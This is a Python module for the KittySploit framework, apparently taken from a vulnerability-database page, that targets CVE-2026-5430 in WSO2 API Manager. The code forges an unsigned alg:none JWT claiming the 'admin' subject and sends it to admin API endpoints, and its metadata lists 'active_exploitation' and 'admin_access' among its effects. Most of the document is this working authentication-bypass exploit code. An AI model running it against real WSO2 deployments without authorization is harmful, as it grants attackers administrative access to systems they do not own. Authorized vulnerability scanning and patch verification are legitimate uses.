WSO2 CVE-2026-5430 JWT Auth Bypass Detect
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detect WSO2 CVE-2026-5430 JWT unsupported-algorithm authentication bypass."""
import base64
import json
import time
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
"name": "WSO2 CVE-2026-5430 JWT Auth Bypass Detect",
"description": (
"Detects CVE-2026-5430 in WSO2 API Manager / Control Plane / Traffic Manager / "
"Universal Gateway: JWTUtil accepts tokens whose alg header is outside the "
"supported RS256/384/512 set. Probes admin APIs with an alg:none X-JWT-Assertion."
),
"author": ["KittySploit Team"],
"severity": "critical",
"cve": ["CVE-2026-5430"],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-5430",
"https://github.com/advisories/GHSA-j7vh-5w8q-4m4x",
"https://security.docs.wso2.com/en/latest/security-announcements/WSO2-2026-5328/",
],
"modules": ["auxiliary/admin/http/wso2_cve_2026_5430_jwt_bypass"],
"tags": [
"web",
"scanner",
"wso2",
"jwt",
"auth-bypass",
"admin",
"cve-2026-5430",
"vuln",
],
"agent": {
"risk": "active",
"effects": ["network_probe", "active_exploitation"],
"expected_requests": 3,
"reversible": True,
"approval_required": True,
"produces": ["tech_hints", "risk_signals", "exploit_paths"],
"cost": 1.2,
"noise": 0.35,
"value": 1.0,
"requires": {
"tech_hints_any": ["wso2"],
"endpoint_pattern_any": ["/api/am/admin/", "/services/"],
},
"chain": {
"produces_capabilities": [
{"capability": "auth_bypass", "from_detail": "JWT alg confusion"},
{"capability": "admin_access", "from_detail": "admin API scope"},
],
"suggested_followups": [
"auxiliary/admin/http/wso2_cve_2026_5430_jwt_bypass",
],
},
},
}
admin_path = OptString(
"/api/am/admin/v4/applications",
"Admin API path to probe with forged JWT",
False,
advanced=True,
)
@staticmethod
def _forge_none_jwt(subject: str = "admin") -> str:
header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}, separators=(",", ":")).encode()
).decode().rstrip("=")
payload = base64.urlsafe_b64encode(
json.dumps(
{
"sub": subject,
"iss": "wso2.org/products/am",
"exp": int(time.time()) + 3600,
},
separators=(",", ":"),
).encode()
).decode().rstrip("=")
return f"{header}.{payload}."
def _probe(self, path: str, token: str):
headers = {"X-JWT-Assertion": token, "Accept": "application/json"}
return self.http_request(
method="GET",
path=path,
headers=headers,
allow_redirects=False,
)
def run(self):
version = self.http_request(method="GET", path="/services/Version", allow_redirects=False)
body = (version.text or "") if version else ""
if "wso2" not in body.lower() and int(version.status_code or 0) != 200:
publisher = self.http_request(method="GET", path="/publisher", allow_redirects=False)
pub_body = (publisher.text or "") if publisher else ""
if "wso2" not in pub_body.lower():
return False
token = self._forge_none_jwt()
admin_path = str(self.admin_path or "/api/am/admin/v4/applications")
response = self._probe(admin_path, token)
if not response:
response = self._probe("/services/admin", token)
admin_path = "/services/admin"
if not response:
return False
code = int(response.status_code or 0)
text = response.text or ""
if code in (200, 201) and ("application" in text.lower() or "list" in text.lower() or "count" in text.lower()):
self.set_info(
severity="critical",
cve="CVE-2026-5430",
reason="Admin API accepted alg:none JWT via X-JWT-Assertion",
path=admin_path,
)
return True
if code == 200 and text.strip().startswith("{"):
self.set_info(
severity="critical",
cve="CVE-2026-5430",
reason="Admin API returned JSON for forged alg:none JWT",
path=admin_path,
)
return True
return False
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29 Sep 2026 10:07Current
8.8High risk
Vulners AI Score8.8
CVSS 3.110
EPSS0.00588
SSVC